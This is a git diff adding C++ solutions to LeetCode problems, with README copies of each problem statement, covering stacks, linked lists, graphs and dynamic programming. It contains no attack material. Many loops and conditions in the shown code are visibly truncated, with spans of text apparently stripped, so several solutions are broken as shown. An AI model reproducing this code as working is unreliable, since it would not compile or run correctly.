+Input: tokens = ["2","1","+","3","*"]
+Output: 9
+Explanation: ((2 + 1) * 3) = 9
+
+ +

Example 2:

+ +
+Input: tokens = ["4","13","5","/","+"]
+Output: 6
+Explanation: (4 + (13 / 5)) = 6
+
+ +

Example 3:

+ +
+Input: tokens = ["10","6","9","3","+","-11","*","/","*","17","+","5","+"]
+Output: 22
+Explanation: ((10 * (6 / ((9 + 3) * -11))) + 17) + 5
+= ((10 * (6 / (12 * -11))) + 17) + 5
+= ((10 * (6 / -132)) + 17) + 5
+= ((10 * 0) + 17) + 5
+= (0 + 17) + 5
+= 17 + 5
+= 22
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= tokens.length <= 104
  • +
  • tokens[i] is either an operator: "+", "-", "*", or "/", or an integer in the range [-200, 200].
  • +
diff --git a/Add Code Here/LeetCode_c++/0151-reverse-words-in-a-string/0151-reverse-words-in-a-string.cpp b/Add Code Here/LeetCode_c++/0151-reverse-words-in-a-string/0151-reverse-words-in-a-string.cpp new file mode 100644 index 00000000000..8aec51d3d53 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0151-reverse-words-in-a-string/0151-reverse-words-in-a-string.cpp @@ -0,0 +1,42 @@ +class Solution { +public: + string reverseWords(string s) + { + stack< string> st; + string temp=""; + for( int i=0;i1) + { + s+= st.top()+" "; + st.pop(); + } + s+=st.top(); + return s; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0151-reverse-words-in-a-string/README.md b/Add Code Here/LeetCode_c++/0151-reverse-words-in-a-string/README.md new file mode 100644 index 00000000000..8e191bc3395 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0151-reverse-words-in-a-string/README.md @@ -0,0 +1,43 @@ +

151. Reverse Words in a String

Medium


Given an input string s, reverse the order of the words.

+ +

A word is defined as a sequence of non-space characters. The words in s will be separated by at least one space.

+ +

Return a string of the words in reverse order concatenated by a single space.

+ +

Note that s may contain leading or trailing spaces or multiple spaces between two words. The returned string should only have a single space separating the words. Do not include any extra spaces.

+ +

 

+

Example 1:

+ +
+Input: s = "the sky is blue"
+Output: "blue is sky the"
+
+ +

Example 2:

+ +
+Input: s = "  hello world  "
+Output: "world hello"
+Explanation: Your reversed string should not contain leading or trailing spaces.
+
+ +

Example 3:

+ +
+Input: s = "a good   example"
+Output: "example good a"
+Explanation: You need to reduce multiple spaces between two words to a single space in the reversed string.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 104
  • +
  • s contains English letters (upper-case and lower-case), digits, and spaces ' '.
  • +
  • There is at least one word in s.
  • +
+ +

 

+

Follow-up: If the string data type is mutable in your language, can you solve it in-place with O(1) extra space?

diff --git a/Add Code Here/LeetCode_c++/0155-min-stack/0155-min-stack.cpp b/Add Code Here/LeetCode_c++/0155-min-stack/0155-min-stack.cpp new file mode 100644 index 00000000000..d3a9c48d2ba --- /dev/null +++ b/Add Code Here/LeetCode_c++/0155-min-stack/0155-min-stack.cpp @@ -0,0 +1,42 @@ +class MinStack { +public: + stack>st; + MinStack() + {} + + void push(int val) + { + if(st.empty()) + { + st.push({val,val}); + return; + } + auto mn =st.top().second; + st.push({val,min(val,mn)}); + + } + + void pop() + { + st.pop(); + } + + int top() + { + return st.top().first; + } + + int getMin() + { + return st.top().second; + } +}; + +/** + * Your MinStack object will be instantiated and called as such: + * MinStack* obj = new MinStack(); + * obj->push(val); + * obj->pop(); + * int param_3 = obj->top(); + * int param_4 = obj->getMin(); + */ \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0155-min-stack/README.md b/Add Code Here/LeetCode_c++/0155-min-stack/README.md new file mode 100644 index 00000000000..3902f5dff72 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0155-min-stack/README.md @@ -0,0 +1,44 @@ +

155. Min Stack

Medium


Design a stack that supports push, pop, top, and retrieving the minimum element in constant time.

+ +

Implement the MinStack class:

+ +
    +
  • MinStack() initializes the stack object.
  • +
  • void push(int val) pushes the element val onto the stack.
  • +
  • void pop() removes the element on the top of the stack.
  • +
  • int top() gets the top element of the stack.
  • +
  • int getMin() retrieves the minimum element in the stack.
  • +
+ +

You must implement a solution with O(1) time complexity for each function.

+ +

 

+

Example 1:

+ +
+Input
+["MinStack","push","push","push","getMin","pop","top","getMin"]
+[[],[-2],[0],[-3],[],[],[],[]]
+
+Output
+[null,null,null,null,-3,null,0,-2]
+
+Explanation
+MinStack minStack = new MinStack();
+minStack.push(-2);
+minStack.push(0);
+minStack.push(-3);
+minStack.getMin(); // return -3
+minStack.pop();
+minStack.top();    // return 0
+minStack.getMin(); // return -2
+
+ +

 

+

Constraints:

+ +
    +
  • -231 <= val <= 231 - 1
  • +
  • Methods pop, top and getMin operations will always be called on non-empty stacks.
  • +
  • At most 3 * 104 calls will be made to push, pop, top, and getMin.
  • +
diff --git a/Add Code Here/LeetCode_c++/020 Vald Parentheses.cpp b/Add Code Here/LeetCode_c++/020 Vald Parentheses.cpp new file mode 100644 index 00000000000..db0996eed59 --- /dev/null +++ b/Add Code Here/LeetCode_c++/020 Vald Parentheses.cpp @@ -0,0 +1,25 @@ +class Solution { +public: + bool isValid(string s) { + stack stk; + for (char c : s) { + if (c == '(' || c == '{' || c == '[') { + stk.push(c); + } else { + if (stk.empty()) { + return false; + } + if (c == ')' && stk.top() == '(') { + stk.pop(); + } else if (c == '}' && stk.top() == '{') { + stk.pop(); + } else if (c == ']' && stk.top() == '[') { + stk.pop(); + } else { + return false; + } + } + } + return stk.empty(); + } +}; diff --git a/Add Code Here/LeetCode_c++/0287-find-the-duplicate-number/0287-find-the-duplicate-number.cpp b/Add Code Here/LeetCode_c++/0287-find-the-duplicate-number/0287-find-the-duplicate-number.cpp new file mode 100644 index 00000000000..cb3e7f7c319 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0287-find-the-duplicate-number/0287-find-the-duplicate-number.cpp @@ -0,0 +1,32 @@ +class Solution { +public: + int findDuplicate(vector& nums) + { + // int low =1; + // int high=nums.size()-1,cnt; + + // while( low<=high ) + // { + // int mid= low +(high-low)/2; + // cnt=0; + // for( int n:nums) + // if(n<=mid) cnt++; + + // if(cnt<=mid) + // low =mid+1; + // else + // high= mid-1; + // } + // return low; + + for( int i=0;i0) + return abs(nums[i]); + } + return -1; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0287-find-the-duplicate-number/README.md b/Add Code Here/LeetCode_c++/0287-find-the-duplicate-number/README.md new file mode 100644 index 00000000000..e4a8672b58d --- /dev/null +++ b/Add Code Here/LeetCode_c++/0287-find-the-duplicate-number/README.md @@ -0,0 +1,38 @@ +

287. Find the Duplicate Number

Medium


Given an array of integers nums containing n + 1 integers where each integer is in the range [1, n] inclusive.

+ +

There is only one repeated number in nums, return this repeated number.

+ +

You must solve the problem without modifying the array nums and uses only constant extra space.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,3,4,2,2]
+Output: 2
+
+ +

Example 2:

+ +
+Input: nums = [3,1,3,4,2]
+Output: 3
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= n <= 105
  • +
  • nums.length == n + 1
  • +
  • 1 <= nums[i] <= n
  • +
  • All the integers in nums appear only once except for precisely one integer which appears two or more times.
  • +
+ +

 

+

Follow up:

+ +
    +
  • How can we prove that at least one duplicate number must exist in nums?
  • +
  • Can you solve the problem in linear runtime complexity?
  • +
diff --git a/Add Code Here/LeetCode_c++/0316-remove-duplicate-letters/0316-remove-duplicate-letters.cpp b/Add Code Here/LeetCode_c++/0316-remove-duplicate-letters/0316-remove-duplicate-letters.cpp new file mode 100644 index 00000000000..25b497ff2cc --- /dev/null +++ b/Add Code Here/LeetCode_c++/0316-remove-duplicate-letters/0316-remove-duplicate-letters.cpp @@ -0,0 +1,36 @@ +class Solution { +public: + string removeDuplicateLetters(string s) + { + unordered_maplasto; + for( int i=0;ist; + unordered_mapvis; + + for(int i=0;ii) + { + vis[st.top()]=false; + st.pop(); + } + + vis[s[i]]=true; + st.push(s[i]); + } + + string ans=""; + while(!st.empty()) + { + ans= st.top()+ans; + st.pop(); + } + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0316-remove-duplicate-letters/README.md b/Add Code Here/LeetCode_c++/0316-remove-duplicate-letters/README.md new file mode 100644 index 00000000000..c64a81878ba --- /dev/null +++ b/Add Code Here/LeetCode_c++/0316-remove-duplicate-letters/README.md @@ -0,0 +1,27 @@ +

316. Remove Duplicate Letters

Medium


Given a string s, remove duplicate letters so that every letter appears once and only once. You must make sure your result is the smallest in lexicographical order among all possible results.

+ +

 

+

Example 1:

+ +
+Input: s = "bcabc"
+Output: "abc"
+
+ +

Example 2:

+ +
+Input: s = "cbacdcbc"
+Output: "acdb"
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 104
  • +
  • s consists of lowercase English letters.
  • +
+ +

 

+

Note: This question is the same as 1081: https://leetcode.com/problems/smallest-subsequence-of-distinct-characters/

diff --git a/Add Code Here/LeetCode_c++/0332-reconstruct-itinerary/0332-reconstruct-itinerary.cpp b/Add Code Here/LeetCode_c++/0332-reconstruct-itinerary/0332-reconstruct-itinerary.cpp new file mode 100644 index 00000000000..e8c964dd8c9 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0332-reconstruct-itinerary/0332-reconstruct-itinerary.cpp @@ -0,0 +1,49 @@ +class Solution +{ +public: + unordered_map>adj; + vectorans; + int numTickets=0; + + bool dfs(string str,vector&path) + { + path.push_back(str); + if(path.size() == numTickets+1) + { + ans=path; + return true ; + } + vector &nodes= adj[str]; + for( int i =0;i findItinerary(vector>& tickets) + { + for( int i=0;i path; + dfs("JFK",path); + return ans; + } + +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0332-reconstruct-itinerary/README.md b/Add Code Here/LeetCode_c++/0332-reconstruct-itinerary/README.md new file mode 100644 index 00000000000..b9790c84c19 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0332-reconstruct-itinerary/README.md @@ -0,0 +1,37 @@ +

332. Reconstruct Itinerary

Hard


You are given a list of airline tickets where tickets[i] = [fromi, toi] represent the departure and the arrival airports of one flight. Reconstruct the itinerary in order and return it.

+ +

All of the tickets belong to a man who departs from "JFK", thus, the itinerary must begin with "JFK". If there are multiple valid itineraries, you should return the itinerary that has the smallest lexical order when read as a single string.

+ +
    +
  • For example, the itinerary ["JFK", "LGA"] has a smaller lexical order than ["JFK", "LGB"].
  • +
+ +

You may assume all tickets form at least one valid itinerary. You must use all the tickets once and only once.

+ +

 

+

Example 1:

+ +
+Input: tickets = [["MUC","LHR"],["JFK","MUC"],["SFO","SJC"],["LHR","SFO"]]
+Output: ["JFK","MUC","LHR","SFO","SJC"]
+
+ +

Example 2:

+ +
+Input: tickets = [["JFK","SFO"],["JFK","ATL"],["SFO","ATL"],["ATL","JFK"],["ATL","SFO"]]
+Output: ["JFK","ATL","JFK","SFO","ATL","SFO"]
+Explanation: Another possible reconstruction is ["JFK","SFO","ATL","JFK","ATL","SFO"] but it is larger in lexical order.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= tickets.length <= 300
  • +
  • tickets[i].length == 2
  • +
  • fromi.length == 3
  • +
  • toi.length == 3
  • +
  • fromi and toi consist of uppercase English letters.
  • +
  • fromi != toi
  • +
diff --git a/Add Code Here/LeetCode_c++/0377-combination-sum-iv/0377-combination-sum-iv.cpp b/Add Code Here/LeetCode_c++/0377-combination-sum-iv/0377-combination-sum-iv.cpp new file mode 100644 index 00000000000..2ec098fb11e --- /dev/null +++ b/Add Code Here/LeetCode_c++/0377-combination-sum-iv/0377-combination-sum-iv.cpp @@ -0,0 +1,38 @@ +class Solution { +public: + int solve(vector&nums,int target,vector&dp) + { + if( target<0 ) + return 0; + if(dp[target]!=-1) + return dp[target]; + if( target ==0 ) + return 1; + + int ans=0; + for(int i =0;i& nums, int target) + { + // vectordp(target+1,-1); + // return solve(nums,target,dp); + + vector< unsigned int>dp(target+1,0); + dp[0]=1; + for(int i =1;i<=target;i++) + { + for(int j=0;j=0) + { + dp[i]+=dp[i-nums[j]]; + } + } + } + return dp[target]; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0377-combination-sum-iv/README.md b/Add Code Here/LeetCode_c++/0377-combination-sum-iv/README.md new file mode 100644 index 00000000000..4cab4d40d4a --- /dev/null +++ b/Add Code Here/LeetCode_c++/0377-combination-sum-iv/README.md @@ -0,0 +1,41 @@ +

377. Combination Sum IV

Medium


Given an array of distinct integers nums and a target integer target, return the number of possible combinations that add up to target.

+ +

The test cases are generated so that the answer can fit in a 32-bit integer.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,2,3], target = 4
+Output: 7
+Explanation:
+The possible combination ways are:
+(1, 1, 1, 1)
+(1, 1, 2)
+(1, 2, 1)
+(1, 3)
+(2, 1, 1)
+(2, 2)
+(3, 1)
+Note that different sequences are counted as different combinations.
+
+ +

Example 2:

+ +
+Input: nums = [9], target = 3
+Output: 0
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 200
  • +
  • 1 <= nums[i] <= 1000
  • +
  • All the elements of nums are unique.
  • +
  • 1 <= target <= 1000
  • +
+ +

 

+

Follow up: What if negative numbers are allowed in the given array? How does it change the problem? What limitation we need to add to the question to allow negative numbers?

diff --git a/Add Code Here/LeetCode_c++/0389-find-the-difference/0389-find-the-difference.cpp b/Add Code Here/LeetCode_c++/0389-find-the-difference/0389-find-the-difference.cpp new file mode 100644 index 00000000000..4151f5db2fe --- /dev/null +++ b/Add Code Here/LeetCode_c++/0389-find-the-difference/0389-find-the-difference.cpp @@ -0,0 +1,16 @@ +class Solution { +public: + char findTheDifference(string s, string t) + { + int sum=0; + for(int i=0;i389. Find the Difference

Easy


You are given two strings s and t.

+ +

String t is generated by random shuffling string s and then add one more letter at a random position.

+ +

Return the letter that was added to t.

+ +

 

+

Example 1:

+ +
+Input: s = "abcd", t = "abcde"
+Output: "e"
+Explanation: 'e' is the letter that was added.
+
+ +

Example 2:

+ +
+Input: s = "", t = "y"
+Output: "y"
+
+ +

 

+

Constraints:

+ +
    +
  • 0 <= s.length <= 1000
  • +
  • t.length == s.length + 1
  • +
  • s and t consist of lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/0392-is-subsequence/0392-is-subsequence.cpp b/Add Code Here/LeetCode_c++/0392-is-subsequence/0392-is-subsequence.cpp new file mode 100644 index 00000000000..b4f632479c6 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0392-is-subsequence/0392-is-subsequence.cpp @@ -0,0 +1,17 @@ +class Solution { +public: + bool isSubsequence(string s, string t) + { + int i=0; + int j=0; + while( j392. Is Subsequence

Easy


Given two strings s and t, return true if s is a subsequence of t, or false otherwise.

+ +

A subsequence of a string is a new string that is formed from the original string by deleting some (can be none) of the characters without disturbing the relative positions of the remaining characters. (i.e., "ace" is a subsequence of "abcde" while "aec" is not).

+ +

 

+

Example 1:

+
Input: s = "abc", t = "ahbgdc"
+Output: true
+

Example 2:

+
Input: s = "axc", t = "ahbgdc"
+Output: false
+
+

 

+

Constraints:

+ +
    +
  • 0 <= s.length <= 100
  • +
  • 0 <= t.length <= 104
  • +
  • s and t consist only of lowercase English letters.
  • +
+ +

 

+Follow up: Suppose there are lots of incoming s, say s1, s2, ..., sk where k >= 109, and you want to check one by one to see if t has its subsequence. In this scenario, how would you change your code? \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0456-132-pattern/0456-132-pattern.cpp b/Add Code Here/LeetCode_c++/0456-132-pattern/0456-132-pattern.cpp new file mode 100644 index 00000000000..d26d40e38d6 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0456-132-pattern/0456-132-pattern.cpp @@ -0,0 +1,23 @@ +class Solution { +public: + bool find132pattern(vector& nums) + { + int second = INT_MIN; + stack st; + + for( int i=nums.size()-1;i>=0;i--) + { + if( nums[i]st.top()) + { + second =st.top(); + st.pop(); + } + st.push(nums[i]); + } + return false; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0456-132-pattern/README.md b/Add Code Here/LeetCode_c++/0456-132-pattern/README.md new file mode 100644 index 00000000000..6c4727f622c --- /dev/null +++ b/Add Code Here/LeetCode_c++/0456-132-pattern/README.md @@ -0,0 +1,37 @@ +

456. 132 Pattern

Medium


Given an array of n integers nums, a 132 pattern is a subsequence of three integers nums[i], nums[j] and nums[k] such that i < j < k and nums[i] < nums[k] < nums[j].

+ +

Return true if there is a 132 pattern in nums, otherwise, return false.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,2,3,4]
+Output: false
+Explanation: There is no 132 pattern in the sequence.
+
+ +

Example 2:

+ +
+Input: nums = [3,1,4,2]
+Output: true
+Explanation: There is a 132 pattern in the sequence: [1, 4, 2].
+
+ +

Example 3:

+ +
+Input: nums = [-1,3,2,0]
+Output: true
+Explanation: There are three 132 patterns in the sequence: [-1, 3, 2], [-1, 3, 0] and [-1, 2, 0].
+
+ +

 

+

Constraints:

+ +
    +
  • n == nums.length
  • +
  • 1 <= n <= 2 * 105
  • +
  • -109 <= nums[i] <= 109
  • +
diff --git a/Add Code Here/LeetCode_c++/0725-split-linked-list-in-parts/0725-split-linked-list-in-parts.cpp b/Add Code Here/LeetCode_c++/0725-split-linked-list-in-parts/0725-split-linked-list-in-parts.cpp new file mode 100644 index 00000000000..0f4dd95df90 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0725-split-linked-list-in-parts/0725-split-linked-list-in-parts.cpp @@ -0,0 +1,60 @@ +/** + * Definition for singly-linked list. + * struct ListNode { + * int val; + * ListNode *next; + * ListNode() : val(0), next(nullptr) {} + * ListNode(int x) : val(x), next(nullptr) {} + * ListNode(int x, ListNode *next) : val(x), next(next) {} + * }; + */ +class Solution { +public: + vector splitListToParts(ListNode* head, int k) + { + vector ans(k,NULL); + if(!head) + return ans; + int len=0; + + ListNode*temp=head; + while(temp) + { + len++; + temp=temp->next; + } + temp=head; + + int split = len/k; + int extra = len%k; + + int part=0; + ListNode* next; + int i=0; + int m=0; + + while( i0) + { + m=m+1; + extra--; + } + ListNode* sp = temp; + while( m>0 && temp->next) + { + m--; + temp=temp->next; + } + + next = temp->next; + temp->next = NULL; + + ans[i++] = sp; + temp=next; + } + return ans; + + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0725-split-linked-list-in-parts/README.md b/Add Code Here/LeetCode_c++/0725-split-linked-list-in-parts/README.md new file mode 100644 index 00000000000..10e13a9db10 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0725-split-linked-list-in-parts/README.md @@ -0,0 +1,36 @@ +

725. Split Linked List in Parts

Medium


Given the head of a singly linked list and an integer k, split the linked list into k consecutive linked list parts.

+ +

The length of each part should be as equal as possible: no two parts should have a size differing by more than one. This may lead to some parts being null.

+ +

The parts should be in the order of occurrence in the input list, and parts occurring earlier should always have a size greater than or equal to parts occurring later.

+ +

Return an array of the k parts.

+ +

 

+

Example 1:

+ +
+Input: head = [1,2,3], k = 5
+Output: [[1],[2],[3],[],[]]
+Explanation:
+The first element output[0] has output[0].val = 1, output[0].next = null.
+The last element output[4] is null, but its string representation as a ListNode is [].
+
+ +

Example 2:

+ +
+Input: head = [1,2,3,4,5,6,7,8,9,10], k = 3
+Output: [[1,2,3,4],[5,6,7],[8,9,10]]
+Explanation:
+The input has been split into consecutive parts with size difference at most 1, and earlier parts are a larger size than the later parts.
+
+ +

 

+

Constraints:

+ +
    +
  • The number of nodes in the list is in the range [0, 1000].
  • +
  • 0 <= Node.val <= 1000
  • +
  • 1 <= k <= 50
  • +
diff --git a/Add Code Here/LeetCode_c++/0815-champagne-tower/0815-champagne-tower.cpp b/Add Code Here/LeetCode_c++/0815-champagne-tower/0815-champagne-tower.cpp new file mode 100644 index 00000000000..f4291a3f0fc --- /dev/null +++ b/Add Code Here/LeetCode_c++/0815-champagne-tower/0815-champagne-tower.cpp @@ -0,0 +1,49 @@ +class Solution { +public: + // double solve(int row,int glass,int poured , + // vector>&dp) + // { + // if( row<0 || glass> row || glass<0) + // return 0.00; + + // if( row==0 && glass==0) + // return poured; + + // if(dp[row][glass]!=-1) + // return dp[row][glass]; + + // double left = (solve(row-1,glass-1,poured,dp)-1 )/2; + // double right =(solve(row-1,glass,poured,dp)-1)/2; + + // if(left<0) + // left=0; + // if(right<0) + // right=0; + + // return dp[row][glass]=left+right; + // } + double champagneTower(int poured, int query_row, int query_glass) + { + // vector>dp(101,vector(101,-1)); + // return min (1.00,solve(query_row,query_glass,poured,dp)); + + vector>tower(query_row+1,vector(query_row+1,0.0)); + tower[0][0] =(double)poured; + + // cout<0) + { + tower[row+1][glass] += excess; + tower[row+1][glass+1]+=excess; + } + } + } + return min(1.0,tower[query_row][query_glass]); + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0815-champagne-tower/README.md b/Add Code Here/LeetCode_c++/0815-champagne-tower/README.md new file mode 100644 index 00000000000..a124fbb51b5 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0815-champagne-tower/README.md @@ -0,0 +1,41 @@ +

815. Champagne Tower

Medium


We stack glasses in a pyramid, where the first row has 1 glass, the second row has 2 glasses, and so on until the 100th row.  Each glass holds one cup of champagne.

+ +

Then, some champagne is poured into the first glass at the top.  When the topmost glass is full, any excess liquid poured will fall equally to the glass immediately to the left and right of it.  When those glasses become full, any excess champagne will fall equally to the left and right of those glasses, and so on.  (A glass at the bottom row has its excess champagne fall on the floor.)

+ +

For example, after one cup of champagne is poured, the top most glass is full.  After two cups of champagne are poured, the two glasses on the second row are half full.  After three cups of champagne are poured, those two cups become full - there are 3 full glasses total now.  After four cups of champagne are poured, the third row has the middle glass half full, and the two outside glasses are a quarter full, as pictured below.

+ +

+ +

Now after pouring some non-negative integer cups of champagne, return how full the jth glass in the ith row is (both i and j are 0-indexed.)

+ +

 

+

Example 1:

+ +
+Input: poured = 1, query_row = 1, query_glass = 1
+Output: 0.00000
+Explanation: We poured 1 cup of champange to the top glass of the tower (which is indexed as (0, 0)). There will be no excess liquid so all the glasses under the top glass will remain empty.
+
+ +

Example 2:

+ +
+Input: poured = 2, query_row = 1, query_glass = 1
+Output: 0.50000
+Explanation: We poured 2 cups of champange to the top glass of the tower (which is indexed as (0, 0)). There is one cup of excess liquid. The glass indexed as (1, 0) and the glass indexed as (1, 1) will share the excess liquid equally, and each will get half cup of champange.
+
+ +

Example 3:

+ +
+Input: poured = 100000009, query_row = 33, query_glass = 17
+Output: 1.00000
+
+ +

 

+

Constraints:

+ +
    +
  • 0 <= poured <= 109
  • +
  • 0 <= query_glass <= query_row < 100
  • +
\ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0877-shortest-path-visiting-all-nodes/0877-shortest-path-visiting-all-nodes.cpp b/Add Code Here/LeetCode_c++/0877-shortest-path-visiting-all-nodes/0877-shortest-path-visiting-all-nodes.cpp new file mode 100644 index 00000000000..ddc00920c37 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0877-shortest-path-visiting-all-nodes/0877-shortest-path-visiting-all-nodes.cpp @@ -0,0 +1,51 @@ +class Solution { +public: + typedef pair p; + int shortestPathLength(vector>& graph) + { + int n = graph.size(); + if (n==1 || n==0 ) + return 0; + + queue

q; + set

vis; + + // pushing all elements with their value in binary + //because we need to find the min starting frm each + //node + for(int i=0;i877. Shortest Path Visiting All Nodes

Hard


You have an undirected, connected graph of n nodes labeled from 0 to n - 1. You are given an array graph where graph[i] is a list of all the nodes connected with node i by an edge.

+ +

Return the length of the shortest path that visits every node. You may start and stop at any node, you may revisit nodes multiple times, and you may reuse edges.

+ +

 

+

Example 1:

+ +
+Input: graph = [[1,2,3],[0],[0],[0]]
+Output: 4
+Explanation: One possible path is [1,0,2,0,3]
+
+ +

Example 2:

+ +
+Input: graph = [[1],[0,2,4],[1,3,4],[2],[1,2]]
+Output: 4
+Explanation: One possible path is [0,1,4,2,3]
+
+ +

 

+

Constraints:

+ +
    +
  • n == graph.length
  • +
  • 1 <= n <= 12
  • +
  • 0 <= graph[i].length < n
  • +
  • graph[i] does not contain i.
  • +
  • If graph[a] contains b, then graph[b] contains a.
  • +
  • The input graph is always connected.
  • +
diff --git a/Add Code Here/LeetCode_c++/0916-decoded-string-at-index/0916-decoded-string-at-index.cpp b/Add Code Here/LeetCode_c++/0916-decoded-string-at-index/0916-decoded-string-at-index.cpp new file mode 100644 index 00000000000..3a8c2a4766b --- /dev/null +++ b/Add Code Here/LeetCode_c++/0916-decoded-string-at-index/0916-decoded-string-at-index.cpp @@ -0,0 +1,53 @@ +class Solution { +public: + string decodeAtIndex(string s, int k) + { + long long size=0; + for( int i=0;i=0;i--) + { + k=k%size; + + if(s[i]>='a') + { + if(k==0) + return (string)""+ s[i]; + else + size-=1; + } + else + size/=s[i]-'0'; + } + return ""; + + // string ans=""; + // for(int i=0;i=k) + // break; + + // if(s[i]>='a'&&s[i]<='z') + // { + // ans.push_back(s[i]); + // } + // else + // { + // int freq = s[i]-'0'; + // freq--; + // string str = ans; + // while(freq--) + // { + // ans+=str; + // } + // } + // } + // return (string)""+ ans[k-1]; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0916-decoded-string-at-index/README.md b/Add Code Here/LeetCode_c++/0916-decoded-string-at-index/README.md new file mode 100644 index 00000000000..61a118c6448 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0916-decoded-string-at-index/README.md @@ -0,0 +1,48 @@ +

916. Decoded String at Index

Medium


You are given an encoded string s. To decode the string to a tape, the encoded string is read one character at a time and the following steps are taken:

+ +
    +
  • If the character read is a letter, that letter is written onto the tape.
  • +
  • If the character read is a digit d, the entire current tape is repeatedly written d - 1 more times in total.
  • +
+ +

Given an integer k, return the kth letter (1-indexed) in the decoded string.

+ +

 

+

Example 1:

+ +
+Input: s = "leet2code3", k = 10
+Output: "o"
+Explanation: The decoded string is "leetleetcodeleetleetcodeleetleetcode".
+The 10th letter in the string is "o".
+
+ +

Example 2:

+ +
+Input: s = "ha22", k = 5
+Output: "h"
+Explanation: The decoded string is "hahahaha".
+The 5th letter is "h".
+
+ +

Example 3:

+ +
+Input: s = "a2345678999999999999999", k = 1
+Output: "a"
+Explanation: The decoded string is "a" repeated 8301530446056247680 times.
+The 1st letter is "a".
+
+ +

 

+

Constraints:

+ +
    +
  • 2 <= s.length <= 100
  • +
  • s consists of lowercase English letters and digits 2 through 9.
  • +
  • s starts with a letter.
  • +
  • 1 <= k <= 109
  • +
  • It is guaranteed that k is less than or equal to the length of the decoded string.
  • +
  • The decoded string is guaranteed to have less than 263 letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/0932-monotonic-array/0932-monotonic-array.cpp b/Add Code Here/LeetCode_c++/0932-monotonic-array/0932-monotonic-array.cpp new file mode 100644 index 00000000000..a940b19f7db --- /dev/null +++ b/Add Code Here/LeetCode_c++/0932-monotonic-array/0932-monotonic-array.cpp @@ -0,0 +1,25 @@ +class Solution { +public: + bool isMonotonic(vector& nums) + { + if(nums.size()<=2) + return true; + + bool inc=true; + bool dec=true; + + for(int i=0;inums[i+1]) + inc = false; + + else if( nums[i]932. Monotonic Array

Easy


An array is monotonic if it is either monotone increasing or monotone decreasing.

+ +

An array nums is monotone increasing if for all i <= j, nums[i] <= nums[j]. An array nums is monotone decreasing if for all i <= j, nums[i] >= nums[j].

+ +

Given an integer array nums, return true if the given array is monotonic, or false otherwise.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,2,2,3]
+Output: true
+
+ +

Example 2:

+ +
+Input: nums = [6,5,4,4]
+Output: true
+
+ +

Example 3:

+ +
+Input: nums = [1,3,2]
+Output: false
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 105
  • +
  • -105 <= nums[i] <= 105
  • +
diff --git a/Add Code Here/LeetCode_c++/0941-sort-array-by-parity/0941-sort-array-by-parity.cpp b/Add Code Here/LeetCode_c++/0941-sort-array-by-parity/0941-sort-array-by-parity.cpp new file mode 100644 index 00000000000..9e86e5883da --- /dev/null +++ b/Add Code Here/LeetCode_c++/0941-sort-array-by-parity/0941-sort-array-by-parity.cpp @@ -0,0 +1,24 @@ +class Solution { +public: + vector sortArrayByParity(vector& nums) + { + int i=0; + int j=nums.size()-1; + + while(i<=j) + { + if( nums[i]%2==1 && nums[j]%2==0) + { + swap(nums[i],nums[j]); + i++; + j--; + } + else if( nums[i]%2==1) + j--; + + else + i++; + } + return nums; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/0941-sort-array-by-parity/README.md b/Add Code Here/LeetCode_c++/0941-sort-array-by-parity/README.md new file mode 100644 index 00000000000..f1559aa8894 --- /dev/null +++ b/Add Code Here/LeetCode_c++/0941-sort-array-by-parity/README.md @@ -0,0 +1,27 @@ +

941. Sort Array By Parity

Easy


Given an integer array nums, move all the even integers at the beginning of the array followed by all the odd integers.

+ +

Return any array that satisfies this condition.

+ +

 

+

Example 1:

+ +
+Input: nums = [3,1,2,4]
+Output: [2,4,3,1]
+Explanation: The outputs [4,2,3,1], [2,4,1,3], and [4,2,1,3] would also be accepted.
+
+ +

Example 2:

+ +
+Input: nums = [0]
+Output: [0]
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 5000
  • +
  • 0 <= nums[i] <= 5000
  • +
